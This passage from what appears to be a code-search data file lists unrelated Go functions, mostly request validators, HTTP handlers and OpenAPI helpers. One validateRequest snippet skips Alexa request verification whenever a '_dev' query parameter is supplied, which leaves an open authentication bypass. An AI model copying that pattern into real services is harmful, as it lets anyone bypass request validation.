\"configuration.PostHAProxyConfigurationHandler\")\n\t}\n\n\tif o.ACLReplaceACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.ReplaceACLHandler\")\n\t}\n\n\tif o.BackendReplaceBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.ReplaceBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleReplaceBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.ReplaceBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindReplaceBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.ReplaceBindHandler\")\n\t}\n\n\tif o.DefaultsReplaceDefaultsHandler == nil {\n\t\tunregistered = append(unregistered, \"defaults.ReplaceDefaultsHandler\")\n\t}\n\n\tif o.FilterReplaceFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.ReplaceFilterHandler\")\n\t}\n\n\tif o.FrontendReplaceFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.ReplaceFrontendHandler\")\n\t}\n\n\tif o.GlobalReplaceGlobalHandler == nil {\n\t\tunregistered = append(unregistered, \"global.ReplaceGlobalHandler\")\n\t}\n\n\tif o.HTTPRequestRuleReplaceHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.ReplaceHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleReplaceHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.ReplaceHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetReplaceLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.ReplaceLogTargetHandler\")\n\t}\n\n\tif o.ServerReplaceRuntimeServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.ReplaceRuntimeServerHandler\")\n\t}\n\n\tif o.ServerReplaceServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.ReplaceServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleReplaceServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.ReplaceServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesReplaceSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.ReplaceSiteHandler\")\n\t}\n\n\tif o.StickRuleReplaceStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.ReplaceStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleReplaceTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.ReplaceTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleReplaceTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.ReplaceTCPResponseRuleHandler\")\n\t}\n\n\tif o.TransactionsStartTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.StartTransactionHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}", "func (o *GetRelationTuplesInternalServerErrorBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func validateRequest(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {\n\tdevFlag := r.URL.Query().Get(\"_dev\")\n\tisDev := devFlag != \"\"\n\tif !isDev && !IsValidAlexaRequest(w, r) {\n\t\tlog.Println(\"Request invalid\")\n\t\treturn\n\t}\n\tnext(w, r)\n}", "func (ctx *Ctx) Validate() (err error) {\n\tif ctx.ESURL == \"\" {\n\t\treturn fmt.Errorf(\"you must specify Elastic URL\")\n\t}\n\tif strings.HasSuffix(ctx.ESURL, \"/\") {\n\t\tctx.ESURL = ctx.ESURL[:len(ctx.ESURL)-1]\n\t}\n\t// Warning when running for foundation-f project slug.\n\tif strings.HasSuffix(ctx.ProjectSlug, \"-f\") && !strings.Contains(ctx.ProjectSlug, \"/\") {\n\t\tPrintf(\"%s: running on foundation-f level detected: project slug is %s\\n\", DadsWarning, ctx.ProjectSlug)\n\t}\n\treturn\n}", "func Swagger(c *gin.Context) {\n\tc.Header(\"Content-Type\", \"application/x-yaml\")\n}", "func (swr *SearchWordsRequest) Validate(r *http.Request) (bool, *SearchWordsRespnse) {\n\n\tsearchWordsRespnse := new(SearchWordsRespnse)\n\n\t// Check if body is empty, because we expect some input\n\tif r.Body == nil {\n\n\t\tsearchWordsRespnse.Code = status.EmptyBody\n\t\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.EmptyBody, Message: status.Text(status.EmptyBody)})\n\t\treturn false, searchWordsRespnse\n\t}\n\n\t// Decode request\n\terr := json.NewDecoder(r.Body).Decode(&swr)\n\n\tdefer r.Body.Close()\n\n\tif err != nil {\n\t\tsearchWordsRespnse.Code = status.IncorrectBodyFormat\n\t\tsearchWordsRespnse.Errors = append(searchWordsRespnse.Errors, Error{Code: status.IncorrectBodyFormat, Message: status.Text(status.IncorrectBodyFormat)})\n\t\treturn false, searchWordsRespnse\n\t}\n\n\treturn true, searchWordsRespnse\n}", "func (p *ProofOfServiceDoc) Validate(_ *pop.Connection) (*validate.Errors, error) {\n\treturn validate.Validate(\n\t\t&validators.UUIDIsPresent{Field: p.PaymentRequestID, Name: \"PaymentRequestID\"},\n\t), nil\n}", "func (v *Validator) validateRequest(rw http.ResponseWriter, r *http.Request, validationInput *openapi3filter.RequestValidationInput) *oapiError {\n\n\tv.logger.Debug(fmt.Sprintf(\"%#v\", validationInput)) // TODO: output something a little bit nicer?\n\n\t// TODO: can we (in)validate additional query parameters? The default behavior does not seem to take additional params into account\n\n\trequestContext := r.Context() // TODO: add things to the request context, if required?\n\n\terr := openapi3filter.ValidateRequest(requestContext, validationInput)\n\tif err != nil {\n\t\tswitch e := err.(type) {\n\t\tcase *openapi3filter.RequestError:\n\t\t\t// A bad request with a verbose error; splitting it and taking the first line\n\t\t\terrorLines := strings.Split(e.Error(), \"\\n\")\n\t\t\treturn &oapiError{\n\t\t\t\tCode: http.StatusBadRequest,\n\t\t\t\tMessage: errorLines[0],\n\t\t\t\tInternal: err,\n\t\t\t}\n\t\tcase *openapi3filter.SecurityRequirementsError:\n\t\t\tif v.shouldValidateSecurity() {\n\t\t\t\treturn &oapiError{\n\t\t\t\t\tCode: http.StatusForbidden, // TOOD: is this the right code? The validator is not the authorizing party.\n\t\t\t\t\tMessage: formatFullError(e),\n\t\t\t\t\tInternal: err,\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\t// Fallback for unexpected or unimplemented cases\n\t\t\treturn &oapiError{\n\t\t\t\tCode: http.StatusInternalServerError,\n\t\t\t\tMessage: fmt.Sprintf(\"error validating request: %s\", err),\n\t\t\t\tInternal: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func WrapValidate(hfn http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\n\t\turlVars := mux.Vars(r)\n\n\t\t// sort keys\n\t\tkeys := []string(nil)\n\t\tfor key := range urlVars {\n\t\t\tkeys = append(keys, key)\n\t\t}\n\t\tsort.Strings(keys)\n\n\t\t// Iterate alphabetically\n\t\tfor _, key := range keys {\n\t\t\tif validName(urlVars[key]) == false {\n\t\t\t\terr := APIErrorInvalidName(key)\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\thfn.ServeHTTP(w, r)\n\n\t})\n}", "func (m *NoOneofs) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "func HandlerCrashAppValidation(w http.ResponseWriter, r *http.Request) {\n\tif r.Body == nil {\n\t\thttp.Error(w, \"Please send a request body\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tproxy := httputil.NewSingleHostReverseProxy(remote)\n\tbuf, _ := ioutil.ReadAll(r.Body)\n\trdr := ioutil.NopCloser(bytes.NewBuffer(buf))\n\n\tvar msg CrashAppMessage\n\n\terrd := json.NewDecoder(rdr).Decode(&msg)\n\tif errd != nil {\n\t\thttp.Error(w, \"Invalid json data - can't decode\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tvalidated, verr := msg.Validate(r.URL.Path)\n\tif !validated {\n\t\tif verr != nil {\n\t\t\tfmt.Println(verr)\n\t\t\thttp.Error(w, verr.Error(), http.StatusBadRequest)\n\t\t} else {\n\t\t\thttp.Error(w, \"Validation Error\", http.StatusBadRequest)\n\t\t}\n\t\treturn\n\t}\n\n\t// proxy original request\n\tr.Body = ioutil.NopCloser(bytes.NewBuffer(buf))\n\tproxy.ServeHTTP(w, r)\n}", "func (o *GetOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateDocument(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (extractor *SwaggerTypeExtractor) findARMResourceSchema(op spec.PathItem, rawOperationPath string) (*Schema, *Schema, bool) {\n\t// to decide if something is a resource, we must look at the GET responses\n\tisResource := false\n\n\tvar foundStatus *Schema\n\tif op.Get.Responses != nil {\n\t\tfor statusCode, response := range op.Get.Responses.StatusCodeResponses {\n\t\t\t// only check OK and Created (per above linked comment)\n\t\t\t// TODO: we should really check that the results are the same in each status result\n\t\t\tif statusCode == 200 || statusCode == 201 {\n\t\t\t\tschema, ok := extractor.doesResponseRepresentARMResource(response, rawOperationPath)\n\t\t\t\tif ok {\n\t\t\t\t\tfoundStatus = schema\n\t\t\t\t\tisResource = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif !isResource {\n\t\treturn nil, nil, false\n\t}\n\n\tvar foundSpec *Schema\n\n\tparams := op.Put.Parameters\n\tif op.Parameters != nil {\n\t\textractor.log.V(1).Info(\n\t\t\t\"overriding parameters\",\n\t\t\t\"operation\", rawOperationPath,\n\t\t\t\"swagger\", extractor.swaggerPath)\n\t\tparams = op.Parameters\n\t}\n\n\t// the actual Schema must come from the PUT parameters\n\tnoBody := true\n\tfor _, param := range params {\n\t\tinBody := param.In == \"body\"\n\t\t_, innerParam := extractor.fullyResolveParameter(param)\n\t\tinBody = inBody || innerParam.In == \"body\"\n\n\t\t// note: bug avoidance: we must not pass innerParam to schemaFromParameter\n\t\t// since it will treat it as relative to the current file, which might not be correct.\n\t\t// instead, schemaFromParameter must re-fully-resolve the parameter so that\n\t\t// it knows it comes from another file (if it does).\n\n\t\tif inBody { // must be a (the) body parameter\n\t\t\tnoBody = false\n\t\t\tresult := extractor.schemaFromParameter(param)\n\t\t\tif result != nil {\n\t\t\t\tfoundSpec = result\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif foundSpec == nil {\n\t\tif noBody {\n\t\t\textractor.log.V(1).Info(\n\t\t\t\t\"no body parameter found for PUT operation\",\n\t\t\t\t\"operation\", rawOperationPath)\n\t\t} else {\n\t\t\textractor.log.V(1).Info(\n\t\t\t\t\"no schema found for PUT operation\",\n\t\t\t\t\"operation\", rawOperationPath,\n\t\t\t\t\"swagger\", extractor.swaggerPath)\n\t\t\treturn nil, nil, false\n\t\t}\n\t}\n\n\treturn foundSpec, foundStatus, true\n}", "func (o *DocumentUpdateMethodNotAllowedBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error405Data\n\tif err := o.Error405Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func Validate(schema, document string) (result *gojsonschema.Result, err error) {\n\tschemaLoader := gojsonschema.NewStringLoader(schema)\n\tdocumentLoader := gojsonschema.NewStringLoader(document)\n\treturn gojsonschema.Validate(schemaLoader, documentLoader)\n}", "func HandleInspectCollectionSchema(adminMan *admin.Manager, modules *modules.Modules, syncman *syncman.Manager) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\t// Get the JWT token from header\n\t\ttoken := utils.GetTokenFromHeader(r)\n\t\tdefer utils.CloseTheCloser(r.Body)\n\n\t\t// Check if the request is authorised\n\t\tif err := adminMan.IsTokenValid(token); err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusUnauthorized, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Create a context of execution\n\t\tctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)\n\t\tdefer cancel()\n\n\t\tvars := mux.Vars(r)\n\t\tdbAlias := vars[\"dbAlias\"]\n\t\tcol := vars[\"col\"]\n\t\tprojectID := vars[\"project\"]\n\t\tlogicalDBName, err := syncman.GetLogicalDatabaseName(ctx, projectID, dbAlias)\n\t\tif err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\t\tschema := modules.Schema()\n\t\ts, err := schema.SchemaInspection(ctx, dbAlias, logicalDBName, col)\n\t\tif err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif err := syncman.SetSchemaInspection(ctx, projectID, dbAlias, col, s); err != nil {\n\t\t\t_ = utils.SendErrorResponse(w, http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t_ = utils.SendResponse(w, http.StatusOK, model.Response{Result: s})\n\t\t// return\n\t}\n}", "func (_ IP) OpenAPISchemaFormat() string { return \"\" }", "func hookConfigurationSchema() *schema.Schema {\n\treturn &schema.Schema{\n\t\tType: schema.TypeList,\n\t\tOptional: true,\n\t\tMaxItems: 1,\n\t\tElem: &schema.Resource{\n\t\t\tSchema: map[string]*schema.Schema{\n\t\t\t\t\"invocation_condition\": func() *schema.Schema {\n\t\t\t\t\tschema := documentAttributeConditionSchema()\n\t\t\t\t\treturn schema\n\t\t\t\t}(),\n\t\t\t\t\"lambda_arn\": {\n\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\tRequired: true,\n\t\t\t\t\tValidateFunc: verify.ValidARN,\n\t\t\t\t},\n\t\t\t\t\"s3_bucket\": {\n\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\tRequired: true,\n\t\t\t\t\tValidateFunc: validation.All(\n\t\t\t\t\t\tvalidation.StringLenBetween(3, 63),\n\t\t\t\t\t\tvalidation.StringMatch(\n\t\t\t\t\t\t\tregexp.MustCompile(`[a-z0-9][\\.\\-a-z0-9]{1,61}[a-z0-9]`),\n\t\t\t\t\t\t\t\"Must be a valid bucket name\",\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func (rv *ResumeValidator) RegisterValidatorAPI() {\n\thttp.HandleFunc(\"/\", rv.homePage())\n\thttp.HandleFunc(\"/validateFile\", rv.validateFile())\n}", "func (c serverResources) OpenAPISchema() (*openapiv2.Document, error) {\n\treturn c.cachedClient.OpenAPISchema()\n}", "func webhookHandler(rw http.ResponseWriter, req *http.Request) {\n\tlog.Infof(\"Serving %s %s request for client: %s\", req.Method, req.URL.Path, req.RemoteAddr)\n\n\tif req.Method != http.MethodPost {\n\t\thttp.Error(rw, fmt.Sprintf(\"Incoming request method %s is not supported, only POST is supported\", req.Method), http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\n\tif req.URL.Path != \"/\" {\n\t\thttp.Error(rw, fmt.Sprintf(\"%s 404 Not Found\", req.URL.Path), http.StatusNotFound)\n\t\treturn\n\t}\n\n\tadmReview := v1alpha1.AdmissionReview{}\n\terr := json.NewDecoder(req.Body).Decode(&admReview)\n\tif err != nil {\n\t\terrorMsg := fmt.Sprintf(\"Failed to decode the request body json into an AdmissionReview resource: %s\", err.Error())\n\t\twriteResponse(rw, &v1alpha1.AdmissionReview{}, false, errorMsg)\n\t\treturn\n\t}\n\tlog.Debugf(\"Incoming AdmissionReview for %s on resource: %v, kind: %v\", admReview.Spec.Operation, admReview.Spec.Resource, admReview.Spec.Kind)\n\n\tif *admitAll == true {\n\t\tlog.Warnf(\"admitAll flag is set to true. Allowing Namespace admission review request to pass without validation.\")\n\t\twriteResponse(rw, &admReview, true, \"\")\n\t\treturn\n\t}\n\n\tif admReview.Spec.Resource != namespaceResourceType {\n\t\terrorMsg := fmt.Sprintf(\"Incoming resource is not a Namespace: %v\", admReview.Spec.Resource)\n\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\treturn\n\t}\n\n\tif admReview.Spec.Operation != v1alpha1.Delete {\n\t\terrorMsg := fmt.Sprintf(\"Incoming operation is %v on namespace %s. Only DELETE is currently supported.\", admReview.Spec.Operation, admReview.Spec.Name)\n\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\treturn\n\t}\n\n\tnamespace, err := clientset.CoreV1().Namespaces().Get(admReview.Spec.Name, v1.GetOptions{})\n\tif err != nil {\n\t\t// If the namespace is not found, approve the request and let apiserver handle the case\n\t\t// For any other error, reject the request\n\t\tif apiErrors.IsNotFound(err) {\n\t\t\tlog.Debugf(\"Namespace %s not found, let apiserver handle the error: %s\", admReview.Spec.Name, err.Error())\n\t\t\twriteResponse(rw, &admReview, true, \"\")\n\t\t} else {\n\t\t\terrorMsg := fmt.Sprintf(\"Error occurred while retrieving the namespace %s: %s\", admReview.Spec.Name, err.Error())\n\t\t\twriteResponse(rw, &admReview, false, errorMsg)\n\t\t}\n\t\treturn\n\t}\n\n\tif annotations := namespace.GetAnnotations(); annotations != nil {\n\t\tif annotations[bypassAnnotationKey] == \"true\" {\n\t\t\tlog.Infof(\"Namespace %s has the bypass annotation set[%s:true]. OK to DELETE.\", admReview.Spec.Name, bypassAnnotationKey)\n\t\t\twriteResponse(rw, &admReview, true, \"\")\n\t\t\treturn\n\t\t}\n\t}\n\n\terr = validateNamespaceDeletion(admReview.Spec.Name)\n\tif err != nil {\n\t\twriteResponse(rw, &admReview, false, err.Error())\n\t\treturn\n\t}\n\n\tlog.Infof(\"Namespace %s does not contain any workload resources. OK to DELETE.\", admReview.Spec.Name)\n\twriteResponse(rw, &admReview, true, \"\")\n}", "func ProductValidationMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tproduct := data.Product{}\n\t\terr := product.FromJSON(r.Body)\n\t\tif err != nil {\n\t\t\thttp.Error(w, \"unable to unmarshal json\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tctx := context.WithValue(r.Context(), KeyProduct{}, product)\n\t\tnextRequest := r.WithContext(ctx)\n\t\tnext.ServeHTTP(w, nextRequest)\n\t})\n}", "func (r *DownloadFileRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}", "func ReqValidatorFilter(w http.ResponseWriter, r *http.Request, _ httprouter.Params) bool {\n\tvar (\n\t\tcontentLen int\n\t\terr error\n\t)\n\tif s := r.Header.Get(\"Content-Length\"); s == \"\" {\n\t\tcontentLen = -1\n\t} else if contentLen, err = strconv.Atoi(s); err != nil ||\n\t\t(\"chunked\" == strings.ToLower(r.Header.Get(\"Transfer-Encoding\")) && contentLen > 0) {\n\t\tw.WriteHeader(400)\n\t\t_, _ = w.Write([]byte(\"Invalid request: chunked request with Content-Length\"))\n\t\treturn true\n\t}\n\n\tif \"trace\" == strings.ToLower(r.Method) {\n\t\tw.WriteHeader(405)\n\t\t_, _ = w.Write([]byte(\"Method Not Allowed\"))\n\t\treturn true\n\t}\n\n\tif \"options\" == strings.ToLower(r.Method) && util.IsNotLocalEnv() {\n\t\tw.WriteHeader(405)\n\t\t_, _ = w.Write([]byte(\"Method Not Allowed\"))\n\t\treturn true\n\t}\n\treturn false\n}", "func (o *DocumentUpdateInternalServerErrorBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Error500Data\n\tif err := o.Error500Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (a *DocRouter) RegisterAPI(app *gin.Engine) {\n\tapp.GET(\"/swagger/*any\", ginSwagger.WrapHandler(swaggerFiles.Handler))\n}", "func ValidateRequestFromContext(c *fiber.Ctx, router routers.Router, options *Options) error {\n\n\tr, err := adaptor.ConvertRequest(c, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\n\t// We failed to find a matching route for the request.\n\tif err != nil {\n\t\tswitch e := err.(type) {\n\t\tcase *routers.RouteError:\n\t\t\t// We've got a bad request, the path requested doesn't match\n\t\t\t// either server, or path, or something.\n\t\t\treturn errors.New(e.Reason)\n\t\tdefault:\n\t\t\t// This should never happen today, but if our upstream code changes,\n\t\t\t// we don't want to crash the server, so handle the unexpected error.\n\t\t\treturn fmt.Errorf(\"error validating route: %s\", err.Error())\n\t\t}\n\t}\n\n\t// Validate request\n\trequestValidationInput := &openapi3filter.RequestValidationInput{\n\t\tRequest: r,\n\t\tPathParams: pathParams,\n\t\tRoute: route,\n\t}\n\n\t// Pass the fiber context into the request validator, so that any callbacks\n\t// which it invokes make it available.\n\trequestContext := context.WithValue(context.Background(), ctxKeyFiberContext{}, c) //nolint:staticcheck\n\n\tif options != nil {\n\t\trequestValidationInput.Options = &options.Options\n\t\trequestValidationInput.ParamDecoder = options.ParamDecoder\n\t\trequestContext = context.WithValue(requestContext, ctxKeyUserData{}, options.UserData) //nolint:staticcheck\n\t}\n\n\terr = openapi3filter.ValidateRequest(requestContext, requestValidationInput)\n\tif err != nil {\n\t\tme := openapi3.MultiError{}\n\t\tif errors.As(err, &me) {\n\t\t\terrFunc := getMultiErrorHandlerFromOptions(options)\n\t\t\treturn errFunc(me)\n\t\t}\n\n\t\tswitch e := err.(type) {\n\t\tcase *openapi3filter.RequestError:\n\t\t\t// We've got a bad request\n\t\t\t// Split up the verbose error by lines and return the first one\n\t\t\t// openapi errors seem to be multi-line with a decent message on the first\n\t\t\terrorLines := strings.Split(e.Error(), \"\\n\")\n\t\t\treturn fmt.Errorf(\"error in openapi3filter.RequestError: %s\", errorLines[0])\n\t\tcase *openapi3filter.SecurityRequirementsError:\n\t\t\treturn fmt.Errorf(\"error in openapi3filter.SecurityRequirementsError: %s\", e.Error())\n\t\tdefault:\n\t\t\t// This should never happen today, but if our upstream code changes,\n\t\t\t// we don't want to crash the server, so handle the unexpected error.\n\t\t\treturn fmt.Errorf(\"error validating request: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *PathValidator) Validate(r *http.Request) error {\n\tpath := r.URL.Path\n\tif !strings.HasPrefix(v.Path, \"/\") {\n\t\tpath = strings.TrimPrefix(r.URL.Path, \"/\")\n\t}\n\treturn deepCompare(\"PathValidator\", v.Path, path)\n}", "func Validate(ctx http.IContext, vld *validator.Validate, arg interface{}) bool {\n\n\tif err := ctx.GetRequest().GetBodyAs(arg); err != nil {\n\t\thttp.InternalServerException(ctx)\n\t\treturn false\n\t}\n\n\tswitch err := vld.Struct(arg); err.(type) {\n\tcase validator.ValidationErrors:\n\t\thttp.FailedValidationException(ctx, err.(validator.ValidationErrors))\n\t\treturn false\n\n\tcase nil:\n\t\tbreak\n\n\tdefault:\n\t\thttp.InternalServerException(ctx)\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (hook *Hook) Validate(extensionStages []string) (err error) {\n\tif hook == nil {\n\t\treturn errors.New(\"nil hook\")\n\t}\n\n\tif hook.Version != Version {\n\t\treturn fmt.Errorf(\"unexpected hook version %q (expecting %v)\", hook.Version, Version)\n\t}\n\n\tif hook.Hook.Path == \"\" {\n\t\treturn errors.New(\"missing required property: hook.path\")\n\t}\n\n\tif _, err := os.Stat(hook.Hook.Path); err != nil {\n\t\treturn err\n\t}\n\n\tfor key, value := range hook.When.Annotations {\n\t\tif _, err = regexp.Compile(key); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid annotation key %q: %w\", key, err)\n\t\t}\n\t\tif _, err = regexp.Compile(value); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid annotation value %q: %w\", value, err)\n\t\t}\n\t}\n\n\tfor _, command := range hook.When.Commands {\n\t\tif _, err = regexp.Compile(command); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid command %q: %w\", command, err)\n\t\t}\n\t}\n\n\tif hook.Stages == nil {\n\t\treturn errors.New(\"missing required property: stages\")\n\t}\n\n\tvalidStages := map[string]bool{\n\t\t\"createContainer\": true,\n\t\t\"createRuntime\": true,\n\t\t\"prestart\": true,\n\t\t\"poststart\": true,\n\t\t\"poststop\": true,\n\t\t\"startContainer\": true,\n\t}\n\tfor _, stage := range extensionStages {\n\t\tvalidStages[stage] = true\n\t}\n\n\tfor _, stage := range hook.Stages {\n\t\tif !validStages[stage] {\n\t\t\treturn fmt.Errorf(\"unknown stage %q\", stage)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (h HTTPHealthCheckArgs) validate() error {\n\treturn nil\n}", "func WithAPIValidation(v api.StructValidator) Option {\n\treturn func(o *Manager) {\n\t\to.validator = v\n\t}\n}", "func (o *DocumentUpdateBadRequestBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Document400Data\n\tif err := o.Document400Data.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func validateRestApi(ic astutils.InterfaceCollector) {\n\tif len(ic.Interfaces) == 0 {\n\t\tpanic(errors.New(\"no service interface found\"))\n\t}\n\tsvcInter := ic.Interfaces[0]\n\tre := regexp.MustCompile(`anonystruct«(.*)»`)\n\tfor _, method := range svcInter.Methods {\n\t\t// Append *multipart.FileHeader value to nonBasicTypes only once at most as multipart/form-data support multiple fields as file type\n\t\tvar nonBasicTypes []string\n\t\tcpmap := make(map[string]int)\n\t\tfor _, param := range method.Params {\n\t\t\tif param.Type == \"context.Context\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif re.MatchString(param.Type) {\n\t\t\t\tpanic(\"not support anonymous struct as parameter\")\n\t\t\t}\n\t\t\tif !v3.IsBuiltin(param) {\n\t\t\t\tptype := param.Type\n\t\t\t\tif strings.HasPrefix(ptype, \"[\") || strings.HasPrefix(ptype, \"*[\") {\n\t\t\t\t\telem := ptype[strings.Index(ptype, \"]\")+1:]\n\t\t\t\t\tif elem == \"*multipart.FileHeader\" {\n\t\t\t\t\t\tif _, exists := cpmap[elem]; !exists {\n\t\t\t\t\t\t\tcpmap[elem]++\n\t\t\t\t\t\t\tnonBasicTypes = append(nonBasicTypes, elem)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif ptype == \"*multipart.FileHeader\" {\n\t\t\t\t\tif _, exists := cpmap[ptype]; !exists {\n\t\t\t\t\t\tcpmap[ptype]++\n\t\t\t\t\t\tnonBasicTypes = append(nonBasicTypes, ptype)\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tnonBasicTypes = append(nonBasicTypes, param.Type)\n\t\t\t}\n\t\t}\n\t\tif len(nonBasicTypes) > 1 {\n\t\t\tpanic(\"Too many golang non-built-in type parameters, can't decide which one should be put into request body!\")\n\t\t}\n\t\tfor _, param := range method.Results {\n\t\t\tif re.MatchString(param.Type) {\n\t\t\t\tpanic(\"not support anonymous struct as parameter\")\n\t\t\t}\n\t\t}\n\t}\n}", "func Validate(schema interface{}, errors []map[string]interface{}) {\n\t/**\n\t * create validator instance\n\t */\n\tvalidate := validator.New()\n\n\tif err := validate.Struct(schema); err != nil {\n\t\tif _, ok := err.(*validator.InvalidValidationError); ok {\n\t\t\terrors = append(errors, map[string]interface{}{\n\t\t\t\t\"message\": fmt.Sprint(err), \"flag\": \"INVALID_BODY\"},\n\t\t\t)\n\t\t}\n\n\t\tfor _, err := range err.(validator.ValidationErrors) {\n\t\t\terrors = append(errors, map[string]interface{}{\n\t\t\t\t\"message\": fmt.Sprint(err), \"flag\": \"INVALID_BODY\"},\n\t\t\t)\n\t\t}\n\t\texception.BadRequest(\"Validation error\", errors)\n\t}\n\tif errors != nil {\n\t\texception.BadRequest(\"Validation error\", errors)\n\t}\n}", "func (s *Schema) validate(v interface{}) error {\n\tif s.Always != nil {\n\t\tif !*s.Always {\n\t\t\treturn validationError(\"\", \"always fail\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tif s.Ref != nil {\n\t\tif err := s.Ref.validate(v); err != nil {\n\t\t\tfinishSchemaContext(err, s.Ref)\n\t\t\tvar refURL string\n\t\t\tif s.URL == s.Ref.URL {\n\t\t\t\trefURL = s.Ref.Ptr\n\t\t\t} else {\n\t\t\t\trefURL = s.Ref.URL + s.Ref.Ptr\n\t\t\t}\n\t\t\treturn validationError(\"$ref\", \"doesn't validate with %q\", refURL).add(err)\n\t\t}\n\n\t\t// All other properties in a \"$ref\" object MUST be ignored\n\t\treturn nil\n\t}\n\n\tif len(s.Types) > 0 {\n\t\tvType := jsonType(v)\n\t\tmatched := false\n\t\tfor _, t := range s.Types {\n\t\t\tif vType == t {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t} else if t == \"integer\" && vType == \"number\" {\n\t\t\t\tif _, ok := 